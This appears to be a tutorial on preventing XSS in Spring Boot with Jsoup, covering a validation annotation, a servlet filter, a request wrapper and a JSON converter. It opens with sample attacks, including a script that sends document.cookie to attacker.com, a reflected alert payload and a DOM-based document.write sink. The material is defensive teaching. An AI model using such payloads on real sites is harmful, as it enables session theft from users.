<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

http://example.com/search?q=<script>alert('XSS')</script>

var name = document.location.hash.substr(1);
document.write("歡迎, " + name);

    <!--JSR-303/JSR-380用于驗(yàn)證的注解 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-validation</artifactId>
            <version>3.2.0</version>
        </dependency>

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
    String message() default "非法輸入, 檢測(cè)到潛在的XSS";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class XssValidator implements ConstraintValidator<Xss, String> {
    /**
     * 使用自帶的 basicWithImages 白名單
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定義輸出設(shè)置，關(guān)閉prettyPrint（prettyPrint=false），目的是避免在清理過(guò)程中對(duì)代碼進(jìn)行格式化
     * 從而保持輸入和輸出內(nèi)容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

    /**
     * 驗(yàn)證輸入值是否有效，即是否包含潛在的XSS攻擊腳本。
     * 
     * @param value 輸入值，需要進(jìn)行XSS攻擊腳本清理。
     * @param context 上下文對(duì)象，提供關(guān)于驗(yàn)證環(huán)境的信息，如驗(yàn)證失敗時(shí)的錯(cuò)誤消息定制。
     * @return 如果清理后的值與原始值相同，則返回true，表示輸入值有效；否則返回false，表示輸入值無(wú)效。
     */
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        // 使用Jsoup庫(kù)對(duì)輸入值進(jìn)行清理，以移除潛在的XSS攻擊腳本。
        // 使用預(yù)定義的白名單和輸出設(shè)置來(lái)確保只保留安全的HTML元素和屬性。
        String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
        
        // 比較清理后的值與原始值是否相同，用于判斷輸入值是否有效。
        return cleanedValue.equals(value);
    }

}

@Data
@Tag(name = "用戶(hù)",description = "用戶(hù)登錄類(lèi)")
public class UserLoginDTO {

    @Xss
    @NotBlank(message = "賬號(hào)不能為空")
    @Schema(name = "用戶(hù)賬號(hào)",type = "String")
    private String userAccount;

    @Xss
    @Size(min = 6, max = 18, message = "用戶(hù)密碼長(zhǎng)度需在6-18位")
    @Schema(name = "用戶(hù)密碼",type = "String")
    private String password;

    @Xss
    @NotBlank(message = "郵箱驗(yàn)證碼內(nèi)容不能為空")
    @Schema(name = "郵箱驗(yàn)證碼",type = "String")
    private String emailCaptcha;
}

    @PostMapping("/test2")
    public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {
        return Result.success();
    }

<!-- Jsoup依賴(lài) -->
<dependency>
   <groupId>org.jsoup</groupId>
   <artifactId>jsoup</artifactId>
   <version>1.17.2</version>
</dependency>

/**
 * 跨站腳本（XSS）過(guò)濾配置類(lèi)。
 */
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
    /**
     * 是否啟用XSS過(guò)濾。
     */
    private String enabled;

    /**
     * 需要排除的URL模式，這些URL不會(huì)進(jìn)行XSS過(guò)濾。
     */
    private String excludes;

    /**
     * 需要應(yīng)用XSS過(guò)濾的URL模式。
     */
    private String urlPatterns;

    /**
     * 注冊(cè)XSS過(guò)濾器。
     *
     * @return FilterRegistrationBean 用于注冊(cè)過(guò)濾器的bean。
     */
    @Bean
    public FilterRegistrationBean xssFilterRegistration() {
        FilterRegistrationBean registrationBean = new FilterRegistrationBean();
        // 設(shè)置過(guò)濾器的分發(fā)類(lèi)型為請(qǐng)求類(lèi)型
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        // 創(chuàng)建XssFilter的實(shí)例
        registrationBean.setFilter(new XssFilter());
        // 添加過(guò)濾器需要攔截的URL模式，這些模式從配置文件中的"urlPatterns"屬性讀取
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
        // 設(shè)置過(guò)濾器的名稱(chēng)
        registrationBean.setName("XssFilter");
        // 設(shè)置過(guò)濾器的執(zhí)行順序，數(shù)值越小，優(yōu)先級(jí)越高
        registrationBean.setOrder(9999);
        // 創(chuàng)建一個(gè)Map，用于存儲(chǔ)過(guò)濾器的初始化參數(shù)
        Map<String, String> initParameters = new HashMap<>();
        // 將配置文件中的"excludes"屬性設(shè)置到過(guò)濾器的初始化參數(shù)中
        initParameters.put("excludes", excludes);
        // 將配置文件中的"enabled"屬性設(shè)置到過(guò)濾器的初始化參數(shù)中
        initParameters.put("enabled", enabled);
        // 將初始化參數(shù)設(shè)置到FilterRegistrationBean中
        registrationBean.setInitParameters(initParameters);
        // 返回FilterRegistrationBean，包含了XssFilter的配置信息
        return registrationBean;
    }
}

xss:
  enabled: true
  excludes:
  url-patterns: /*

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@Slf4j
public class XssFilter implements Filter {
    /**
     * 存儲(chǔ)需要排除XSS過(guò)濾的URL模式列表。
     */
    private List<String> excludes = new ArrayList<>();

    /**
     * 是否啟用XSS過(guò)濾的標(biāo)志。
     */
    private boolean enabled = false;

    /**
     * 初始化過(guò)濾器，從過(guò)濾器配置中讀取排除列表和啟用狀態(tài)。
     *
     * @param filterConfig 過(guò)濾器配置對(duì)象。
     * @throws ServletException 如果初始化過(guò)程中出現(xiàn)錯(cuò)誤。
     */
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        String strExcludes = filterConfig.getInitParameter("excludes");
        String strEnabled = filterConfig.getInitParameter("enabled");
        //將不需要xss過(guò)濾的接口添加到列表中
        if (StringUtils.isNotEmpty(strExcludes)) {
            String[] urls = strExcludes.split(",");
            for (String url : urls) {
                excludes.add(url);
            }
        }
        if (StringUtils.isNotEmpty(strEnabled)) {
            enabled = Boolean.valueOf(strEnabled);
        }
    }

    /**
     * 執(zhí)行過(guò)濾邏輯，如果當(dāng)前請(qǐng)求不在排除列表中，則通過(guò)XSS過(guò)濾器包裝請(qǐng)求。
     *
     * @param request  HTTP請(qǐng)求對(duì)象。
     * @param response HTTP響應(yīng)對(duì)象。
     * @param chain    過(guò)濾器鏈對(duì)象，用于繼續(xù)或中斷請(qǐng)求處理。
     * @throws IOException      如果處理過(guò)程中出現(xiàn)I/O錯(cuò)誤。
     * @throws ServletException 如果處理過(guò)程中出現(xiàn)Servlet相關(guān)錯(cuò)誤。
     */
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        //如果該訪(fǎng)問(wèn)接口在排除列表里面則不攔截
        if (isExcludeUrl(req.getServletPath())) {
            chain.doFilter(request, response);
            return;
        }

        log.info("uri:{}", req.getRequestURI());
        // xss 過(guò)濾
        chain.doFilter(new XssWrapper(req), resp);
    }

    /**
     * 銷(xiāo)毀過(guò)濾器，釋放資源。
     */
    @Override
    public void destroy() {
        // 無(wú)需額外的銷(xiāo)毀邏輯
    }

    /**
     * 判斷當(dāng)前請(qǐng)求的URL是否應(yīng)該被排除在XSS過(guò)濾之外。
     *
     * @param urlPath 請(qǐng)求的URL路徑。
     * @return 如果請(qǐng)求應(yīng)該被排除，則返回true；否則返回false。
     */
    private boolean isExcludeUrl(String urlPath) {
        if (!enabled) {
            //如果xss開(kāi)關(guān)關(guān)閉了，則所有url都不攔截
            return true;
        }
        if (excludes == null || excludes.isEmpty()) {
            return false;
        }

        String url = urlPath;
        for (String pattern : excludes) {
            Pattern p = Pattern.compile("^" + pattern);
            Matcher m = p.matcher(url);
            if (m.find()) {
                return true;
            }
        }
        return false;
    }
}

/**
 * XSS過(guò)濾工具類(lèi)，使用Jsoup庫(kù)對(duì)輸入的字符串進(jìn)行XSS攻擊防護(hù)
 */
public class XssUtil {

    /**
     * 使用自帶的 basicWithImages 白名單
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定義輸出設(shè)置，關(guān)閉prettyPrint（prettyPrint=false），目的是避免在清理過(guò)程中對(duì)代碼進(jìn)行格式化
     * 從而保持輸入和輸出內(nèi)容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
    
    /*
      初始化白名單策略，允許所有標(biāo)簽擁有style屬性。
      這是因?yàn)樵诟晃谋揪庉嬛?，樣式通常通過(guò)style屬性來(lái)定義，需要確保這些樣式能夠被保留。
     */
    static {
        // 富文本編輯時(shí)一些樣式是使用 style 來(lái)進(jìn)行實(shí)現(xiàn)的
        // 比如紅色字體 style="color:red;"
        // 所以需要給所有標(biāo)簽添加 style 屬性
        WHITE_LIST.addAttributes(":all", "style");
    }
    
    /**
     * 清理輸入的字符串，移除潛在的XSS攻擊代碼。
     * 
     * @param content 待清理的字符串，通常是用戶(hù)輸入的HTML內(nèi)容。
     * @return 清理后的字符串，保證不包含XSS攻擊代碼。
     */
    public static String clean(String content) {
        // 使用定義好的白名單策略和輸出設(shè)置清理輸入的字符串
        return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
    }
}

@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
    /**
     * Constructs a request object wrapping the given request.
     *
     * @param request The request to wrap
     * @throws IllegalArgumentException if the request is null
     */
    public XssWrapper(HttpServletRequest request) {
        super(request);
        log.info("XssWrapper");
    }

    /**
     * 對(duì)數(shù)組參數(shù)進(jìn)行特殊字符過(guò)濾
     */
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = cleanXSS(values[i]);
        }
        return encodedValues;
    }

    /**
     * 對(duì)參數(shù)中特殊字符進(jìn)行過(guò)濾
     */
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 獲取attribute,特殊字符過(guò)濾
     */
    @Override
    public Object getAttribute(String name) {
        Object value = super.getAttribute(name);
        if (value instanceof String && StrUtil.isNotBlank((String) value)) {
            return cleanXSS((String) value);
        }
        return value;
    }

    /**
     * 對(duì)請(qǐng)求頭部進(jìn)行特殊字符過(guò)濾
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (StrUtil.isBlank(value)) {
            return value;
        }
        return cleanXSS(value);
    }

    /**
     * 清理輸入的字符串以防止XSS攻擊
     *
     * @param value 待清理的字符串，通常為用戶(hù)輸入或來(lái)自不可信源的數(shù)據(jù)。
     * @return 清理后的字符串，移除了可能的XSS攻擊代碼。
     */
    private String cleanXSS(String value) {
        return XssUtil.clean(value);
    }
}

/**
 * 在讀取和寫(xiě)入JSON數(shù)據(jù)時(shí)特殊字符避免xss攻擊的消息解析器
 *
 */
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {

    /**
     * 從HTTP輸入消息中讀取對(duì)象，同時(shí)應(yīng)用XSS防護(hù)。
     * 
     * @param type        類(lèi)型令牌，表示要讀取的對(duì)象類(lèi)型。
     * @param contextClass    上下文類(lèi)，提供類(lèi)型解析的上下文信息。
     * @param inputMessage HTTP輸入消息，包含要讀取的JSON數(shù)據(jù)。
     * @return 從輸入消息中解析出的對(duì)象，經(jīng)過(guò)XSS防護(hù)處理。
     * @throws IOException 如果發(fā)生I/O錯(cuò)誤。
     * @throws HttpMessageNotReadableException 如果消息無(wú)法讀取。
     */
    @Override
    public Object read(Type type, Class contextClass,
                       HttpInputMessage inputMessage) throws IOException,
            HttpMessageNotReadableException {
        JavaType javaType = getJavaType(type, contextClass);
        Object obj = readJavaType(javaType, inputMessage);
        //得到請(qǐng)求json
        String json = super.getObjectMapper().writeValueAsString(obj);
        //過(guò)濾特殊字符
        String result = XssUtil.clean(json);
        Object resultObj = super.getObjectMapper().readValue(result, javaType);
        return resultObj;
    }

    /**
     * 從HTTP輸入消息中讀取指定Java類(lèi)型的對(duì)象，內(nèi)部使用。
     * 
     * @param javaType    要讀取的對(duì)象的Java類(lèi)型。
     * @param inputMessage HTTP輸入消息，包含要讀取的JSON數(shù)據(jù)。
     * @return 從輸入消息中解析出的對(duì)象。
     * @throws IOException 如果發(fā)生I/O錯(cuò)誤。
     * @throws HttpMessageNotReadableException 如果消息無(wú)法讀取。
     */
    private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
        try {
            return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
        } catch (IOException ex) {
            throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
        }
    }

    /**
     * 將對(duì)象寫(xiě)入HTTP輸出消息，同時(shí)應(yīng)用XSS防護(hù)。
     * 
     * @param object 要寫(xiě)入的對(duì)象。
     * @param outputMessage HTTP輸出消息，對(duì)象將被序列化為JSON并寫(xiě)入此消息。
     * @throws IOException 如果發(fā)生I/O錯(cuò)誤。
     * @throws HttpMessageNotWritableException 如果消息無(wú)法寫(xiě)入。
     */
    @Override
    protected void writeInternal(Object object, HttpOutputMessage outputMessage)
            throws IOException, HttpMessageNotWritableException {
        //得到要輸出的json
        String json = super.getObjectMapper().writeValueAsString(object);
        //過(guò)濾特殊字符
        String result = XssUtil.clean(json);
        // 輸出
        outputMessage.getBody().write(result.getBytes());
    }
}

    @Bean
    public HttpMessageConverters xssHttpMessageConverters() {
        XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
        HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
        return new HttpMessageConverters(converter);
    }